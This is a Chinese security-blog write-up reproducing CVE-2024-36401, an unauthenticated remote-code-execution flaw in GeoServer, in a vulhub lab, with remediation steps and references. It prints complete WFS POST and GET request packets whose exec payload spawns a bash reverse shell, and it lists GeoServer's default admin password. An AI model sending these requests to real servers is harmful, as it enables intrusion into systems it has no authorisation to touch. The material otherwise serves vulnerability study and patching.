CVE-2024-36401:GeoServer未授权RCE漏洞

admin 2024年8月3日17:05:10评论55 views字数 2429阅读8分5秒阅读模式

0x01 简介

GeoServer 是一个开源的地理信息服务器,用于发布和共享地理空间数据。它是由 GeoTools 库驱动的,GeoTools 是一个用于处理地理数据的 Java 库。GeoServer 允许用户从各种数据源(如 Shapefile、PostGIS、Oracle Spatial、ArcSDE 等)发布地理空间数据,并通过标准的 OGC(Open Geospatial Consortium)协议(如 WMS、WFS、WCS 等)进行访问。

0x02 漏洞概述

漏洞编号:CVE-2024-36401

GeoServer 调用的 GeoTools 库 API 以一种不安全地将它们传递给 commons-jxpath 库的方式评估要素类型的属性/属性名称,该库在评估 XPath 表达式时可以执行任意代码,导致未授权的攻击者能够实现RCE。

0x03 影响版本

GeoServer <= 2.25.1,2.24.3,2.23.5

0x04 环境搭建

环境搭建比较简单,可以使用 P 牛在 vulhub 提供的环境, clone 仓库后使用命令

docker compose up -d

启动环境,环境启动后访问 http://ip:8080/geoserver

CVE-2024-36401:GeoServer未授权RCE漏洞

在进行漏洞复现时需要注意:typeNames必须存在,可以在Web页面/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?3&filter=false中找到当前服务器中的所有Types

如下图所示:

CVE-2024-36401:GeoServer未授权RCE漏洞

0x05 漏洞复现

首先使用 Python 开启一个 Web 服务,方便验证漏洞是否存在

python3 -m http.server 8890

CVE-2024-36401:GeoServer未授权RCE漏洞

构造请求如下:

CVE-2024-36401:GeoServer未授权RCE漏洞

查看 Web 服务中是否收到请求

CVE-2024-36401:GeoServer未授权RCE漏洞

成功收到请求,证明漏洞存在

进行RCE:

首先在攻击机上开启监听:

CVE-2024-36401:GeoServer未授权RCE漏洞

构造恶意请求,反弹shell命令

需要编码:https://tools.zjun.info/runtime-exec-payloads/

CVE-2024-36401:GeoServer未授权RCE漏洞

成功收到 shell

CVE-2024-36401:GeoServer未授权RCE漏洞

完整数据包如下:

POST /geoserver/wfs HTTP/1.1
Host: host:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 379

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,base64(shell)}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

CVE-2024-36401 漏洞的验证方式有两种,一种是上面的 POST 方式,一种是 GET 方式,GET 验证方式的数据包如下:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash%20-c%20%7Becho%2Curl(base64(shell))7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D') HTTP/1.1
Host: host:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

结果:

CVE-2024-36401:GeoServer未授权RCE漏洞

0x06 修复方式

1. 删除 WEB-INF/lib/gt-complex-x.y.jar,依赖 gt-complex-x.y.jar 的功能会受影响
2. 更新到新版本

参考链接

https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv

历史漏洞

默认账号密码admin/geoserver
CVE-2024-36401
CVE-2023-43795
CVE-2023-25157
CVE-2022-24816
CVE-2021-40822

原文始发于微信公众号(白帽子):CVE-2024-36401:GeoServer未授权RCE漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月3日17:05:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-36401:GeoServer未授权RCE漏洞https://cn-sec.com/archives/3031070.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息